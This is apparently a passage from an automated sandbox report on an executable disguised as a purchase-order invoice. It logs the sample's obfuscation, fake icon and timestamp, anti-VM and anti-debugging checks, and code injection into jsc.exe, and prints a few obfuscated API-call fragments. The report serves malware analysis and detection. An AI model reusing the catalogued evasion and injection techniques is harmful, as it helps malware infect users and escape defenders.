Source: Binary string: Microsoft.VisualBasic.pdb source: WERD8AB.tmp.dmp.7.dr
Binary contains a suspicious time stamp
Source: PO-inv-CQV20(92315).exe Static PE information: 0xB06BE3BE [Wed Oct 17 15:31:10 2063 UTC]
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD348A53DB push es; iretd 0_2_00007FFD348A53DD
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Code function: 0_2_00007FFD3497026B push esp; retf 4810h 0_2_00007FFD34970312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_05F0D838 push 3405EFB0h; ret 3_2_05F0D90D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_05F036D7 push ebx; iretd 3_2_05F036DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Code function: 3_2_05F0D940 push 3405EFB0h; ret 3_2_05F0D90D

Hooking and other Techniques for Hiding and Protection
barindex
Icon mismatch, binary includes an icon from a different legit application in order to fool users
Source: initial sample Icon embedded in binary file: icon matches a legit application icon: download (51).png
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: PO-inv-CQV20(92315).exe PID: 5040, type: MEMORYSTR
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2147294596.00000233470CB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2147294596.00000233470CB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Memory allocated: 233452F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Memory allocated: 2335EC90000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Memory allocated: F60000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Memory allocated: 2A90000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Memory allocated: 28E0000 memory reserve | memory write watch Jump to behavior
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: Amcache.hve.7.dr Binary or memory string: VMware
Source: Amcache.hve.7.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.7.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.7.dr Binary or memory string: VMware, Inc.
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2147294596.00000233470CB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Amcache.hve.7.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.7.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.7.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.7.dr Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: Amcache.hve.7.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2147294596.00000233470CB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMWARE
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2147294596.00000233470CB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: Amcache.hve.7.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2147294596.00000233470CB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2147294596.00000233470CB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware SVGA II
Source: Amcache.hve.7.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.7.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: jsc.exe, 00000003.00000002.3311348470.0000000005DE0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.7.dr Binary or memory string: vmci.sys
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2147294596.00000233470CB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: Amcache.hve.7.dr Binary or memory string: vmci.syshbin`
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2147294596.00000233470CB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmware
Source: Amcache.hve.7.dr Binary or memory string: \driver\vmci,\driver\pci
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2147294596.00000233470CB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2147294596.00000233470CB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Amcache.hve.7.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr Binary or memory string: VMware20,1
Source: Amcache.hve.7.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.7.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.7.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.7.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.7.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.7.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.7.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2147294596.00000233470CB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: PO-inv-CQV20(92315).exe, 00000000.00000002.2147294596.00000233470CB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.7.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.7.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.7.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.7.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process queried: DebugPort Jump to behavior
Enables debug privileges
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: PO-inv-CQV20(92315).exe, -----.cs Reference to suspicious API methods: ((_0602_FBC6)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibrary(_FDE7(_06EA._FDC8_FDEB_FDE5_06EA_06DC)), _FDE7(_06EA._FD44_0670_065B_061C_06EA)), typeof(_0602_FBC6)))("vpGUntmDH2Bs", out var _)
Source: PO-inv-CQV20(92315).exe, -----.cs Reference to suspicious API methods: ((_0602_FBC6)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibrary(_FDE7(_06EA._FDC8_FDEB_FDE5_06EA_06DC)), _FDE7(_06EA._FD44_0670_065B_061C_06EA)), typeof(_0602_FBC6)))("vpGUntmDH2Bs", out var _)
Source: PO-inv-CQV20(92315).exe, -----.cs Reference to suspicious API methods: VirtualProtect(procAddress, (uint)array.Length, 64u, out var _FDEE_061E_FBD0_060D_06E4_FBB7_0657_FDD9_06D9)
Source: 0.2.PO-inv-CQV20(92315).exe.23356cd4508.1.raw.unpack, Ljq6xD21ACX.cs Reference to suspicious API methods: OZkujShDCVG.OpenProcess(aPNZ30.DuplicateHandle, bInheritHandle: true, (uint)snUp2.ProcessID)
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000 protect: page execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000 value starts with: 4D5A Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 402000 Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 43C000 Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 43E000 Jump to behavior
Source: C:\Users\user\Desktop\PO-inv-CQV20(92315).exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 9B7008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
